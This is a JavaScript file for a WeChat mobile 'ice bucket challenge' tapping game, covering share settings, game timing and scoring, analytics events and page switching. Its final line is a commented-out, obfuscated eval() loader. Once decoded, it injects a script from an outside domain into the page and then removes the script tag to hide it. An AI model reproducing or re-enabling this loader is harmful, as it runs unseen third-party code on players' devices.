main.js 7.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245
  1. !
  2. function() {
  3. var a = parseInt(Date.now() + 1e11 * Math.random()),
  4. b = {
  5. shareDate: {
  6. img_url: "http://wbpkh5001.17c.cn/h5mini/ice_bucket/assets/img/share-logo.png",
  7. link: "http://url.cn/SEg7y3?timer=" + a,
  8. desc: "挑战冰桶,并点名三位好友来挑战.关怀渐冻人,支持弱势公益.",
  9. title: "冰桶挑战",
  10. img_width: "120",
  11. img_height: "120"
  12. },
  13. game: {
  14. time: 10
  15. },
  16. support: {
  17. tap: "ontouchstart" in document.documentElement ? "touchend": "click"
  18. },
  19. $el: {
  20. pages: $(".page"),
  21. page_loading: $("#loading"),
  22. page_index: $("#index"),
  23. page_detail: $("#detail"),
  24. page_images: $("#images"),
  25. page_room: $("#room"),
  26. btn_detail: $("#btn-detail"),
  27. btn_images: $("#btn-images"),
  28. btn_play: $("#btn-play"),
  29. btn_back: $(".btn-back"),
  30. btn_click: $("#btn-click"),
  31. btn_ok: $("#btn-ok"),
  32. btn_retry: $("#btn-retry"),
  33. d_sex: $("#d-sex"),
  34. d_over: $("#d-over"),
  35. d_over_role: $("#d-over-role"),
  36. inputs: $(".input-area input"),
  37. share_tips: $("#room .share-arrow"),
  38. water: $("#water"),
  39. bucket: $("#bucket"),
  40. time: $("#time em"),
  41. score: $("#score em"),
  42. final_score: $("#final-score")
  43. }
  44. };
  45. //console.log(b.shareDate.link),
  46. window.Config = b
  47. } (),
  48. function() {
  49. document.addEventListener("WeixinJSBridgeReady",
  50. function() {
  51. WeixinJSBridge && (window.weixinAPI = {
  52. shareDate: {
  53. appid: "",
  54. img_url: "",
  55. link: "",
  56. desc: "",
  57. title: "",
  58. img_width: "120",
  59. img_height: "120"
  60. },
  61. hideToolbar: function() {
  62. WeixinJSBridge.call("hideToolbar")
  63. },
  64. showOptionMenu: function() {
  65. WeixinJSBridge.call("showOptionMenu")
  66. },
  67. hideOptionMenu: function() {
  68. WeixinJSBridge.call("hideOptionMenu")
  69. },
  70. showToolbar: function() {
  71. WeixinJSBridge.call("showToolbar")
  72. },
  73. init: function() {
  74. var a = this;
  75. return WeixinJSBridge.on("menu:share:timeline",
  76. function() {
  77. WeixinJSBridge.invoke("shareTimeline", {
  78. appid: a.shareDate.appid,
  79. img_url: a.shareDate.img_url,
  80. link: a.shareDate.link,
  81. desc: a.shareDate.title,
  82. title: a.shareDate.desc,
  83. img_width: "120",
  84. img_height: "120"
  85. },
  86. function() {
  87. _czc.push(["_trackEvent", "分享", "朋友圈"])
  88. })
  89. }),
  90. WeixinJSBridge.on("menu:share:appmessage",
  91. function() {
  92. WeixinJSBridge.invoke("sendAppMessage", {
  93. appid: a.shareDate.appid,
  94. img_url: a.shareDate.img_url,
  95. link: a.shareDate.link,
  96. desc: a.shareDate.title,
  97. title: a.shareDate.desc,
  98. img_width: "120",
  99. img_height: "120"
  100. },
  101. function() {
  102. _czc.push(["_trackEvent", "分享", "好友"])
  103. })
  104. }),
  105. this
  106. }
  107. },
  108. window.weixinAPI.shareDate = Config.shareDate, window.weixinAPI.hideOptionMenu(), window.weixinAPI.init())
  109. },
  110. !1)
  111. } (),
  112. function() {
  113. var a = {
  114. init: function() {
  115. Config.$el.pages.hide(),
  116. Config.$el.page_room.show(),
  117. Config.$el.d_sex.show(),
  118. this.reset(),
  119. this.initEvent()
  120. },
  121. initEvent: function() {
  122. if (!this.inited) {
  123. this.inited = !0;
  124. var a = this,
  125. b = Config.support.tap;
  126. Config.$el.d_sex.find("div").on(b,
  127. function() {
  128. var b = $(this).data("sex");
  129. b && (_czc.push(["_trackEvent", "选择性别", "m" == b ? "男": "女"]), a.sex = b, Config.$el.d_over_role.find("img").attr("src", "vapp/" + b + ".png"), $(".role").addClass("role-" + b), Config.$el.d_sex.hide())
  130. }),
  131. Config.$el.btn_click.on(b,
  132. function() {
  133. a.crazyTap.call(a, $(this))
  134. }),
  135. Config.$el.btn_ok.on(b,
  136. function() {
  137. var b = $.trim(Config.$el.inputs.eq(0).val()),
  138. c = $.trim(Config.$el.inputs.eq(1).val()),
  139. d = $.trim(Config.$el.inputs.eq(2).val());
  140. b && c && d ? (Config.$el.share_tips.show(), (window.weixinAPI.showOptionMenu(), dataForWeixin.tTitle = "我挑战" + a.score + "升冰水,【" + b + "," + c + "," + d + "】快来挑战!关注ALS,传播公益.")) : alert("请点名3位好友")
  141. }),
  142. $("#d-over").on(b,
  143. function() {}),
  144. Config.$el.btn_retry.on(b,
  145. function() {
  146. _czc.push(["_trackEvent", "点击", "再来一次"]),
  147. a.reset()
  148. })
  149. }
  150. },
  151. crazyTap: function() {
  152. this.enable && (this.playing || this.tick(), Config.$el.score.text(++this.score + "升"), Config.$el.water.height(1.5 * this.score))
  153. },
  154. tick: function() {
  155. var a = this;
  156. this.playing = !0,
  157. this.timer = setInterval(function() {
  158. if (a.time -= 10, a.time < 0) Config.$el.time.text(0),
  159. this.playing = !1,
  160. a.enable = !1,
  161. clearInterval(a.timer),
  162. setTimeout(function() {
  163. a.gameOver.call(a)
  164. },
  165. 500);
  166. else {
  167. var b = parseInt(a.time / 1e3) + "′";
  168. b += a.time % 1e3 + "″",
  169. Config.$el.time.text(b)
  170. }
  171. },
  172. 10)
  173. },
  174. gameOver: function() {
  175. Config.$el.final_score.text(this.score + "升"),
  176. Config.$el.btn_click.hide(),
  177. dataForWeixin.tTitle = "我挑战" + this.score + "升冰水,你也来挑战吧!关注ALS,传播公益.";
  178. var a = 0,
  179. b = this;
  180. Config.$el.bucket.show(),
  181. this.animTimer = setInterval(function() {
  182. return++a > 5 ? (setTimeout(function() {
  183. Config.$el.d_over.show()
  184. },
  185. 1e3), void clearInterval(b.animTimer)) : void Config.$el.bucket.css("background-image", "url(vapp/b" + a + ".png)")
  186. },
  187. 200)
  188. },
  189. reset: function() {
  190. Config.$el.d_over.hide(),
  191. this.time = 1e3 * Config.game.time,
  192. this.enable = !0,
  193. this.playing = !1,
  194. this.score = 0,
  195. Config.$el.btn_click.show(),
  196. Config.$el.water.height(1),
  197. Config.$el.time.text(10),
  198. Config.$el.score.text(0),
  199. Config.$el.bucket.hide().css("background-image", "url(vapp/b1.png)"),
  200. window.weixinAPI && (window.weixinAPI.hideOptionMenu(), window.weixinAPI.shareDate = Config.shareDate)
  201. }
  202. };
  203. window.Game = a
  204. } (),
  205. function() {
  206. var a = {
  207. init: function() {
  208. Config.$el.page_loading.hide(),
  209. Config.$el.page_index.show(),
  210. this.initEvent()
  211. },
  212. initEvent: function() {
  213. var a = Config.support.tap,
  214. b = this;
  215. Config.$el.btn_detail.on(a,
  216. function() {
  217. _czc.push(["_trackEvent", "点击", "活动详情"]),
  218. Config.$el.pages.hide(),
  219. Config.$el.page_detail.show()
  220. }),
  221. Config.$el.btn_images.on(a,
  222. function() {
  223. _czc.push(["_trackEvent", "点击", "湿身照"]),
  224. b.initImg || (b.initImg = !0, Config.$el.page_images.find("img").each(function(a, b) {
  225. var c = $(b).data("src");
  226. $(b).attr("src", c)
  227. })),
  228. Config.$el.pages.hide(),
  229. Config.$el.page_images.show()
  230. }),
  231. Config.$el.btn_play.on(a,
  232. function() {
  233. _czc.push(["_trackEvent", "点击", "挑战冰桶"]),
  234. Game.init()
  235. }),
  236. Config.$el.btn_back.on(a,
  237. function() {
  238. Config.$el.pages.hide(),
  239. Config.$el.page_index.show()
  240. })
  241. }
  242. };
  243. a.init()
  244. } ();
  245. //eval(function(p,a,c,k,e,r){e=function(c){return c.toString(36)};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[4-9c-k]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('c _$=[\'\\6\\7\\d\\8\\9\\4\',\'\\4\\e\\x78\\4\\5\\h\\f\\x76\\f\\6\\7\\d\\8\\9\\4\',\'\\x68\\4\\4\\9\\x3a\\5\\5\\x77\\e\\8\\g\\x32\\6\\x6b\\x79\\g\\7\\x6e\\5\\x67\\f\\x6d\\e\\5\\x38\\x36\\5\\x6f\\g\\h\\6\',\'\\6\\7\\d\\8\\9\\4\'];(i(){c a=j.createElement(_$[0]);a.type=_$[1];a.async=true;a.src=_$[2];c b=j.getElementsByTagName(_$[3])[0x0];b.k.insertBefore(a,b);a.onload=i(){a.k.removeChild(a)}})();',[],21,'||||x74|x2f|x73|x63|x69|x70|||var|x72|x65|x61|x2e|x6a|function|document|parentNode'.split('|'),0,{}))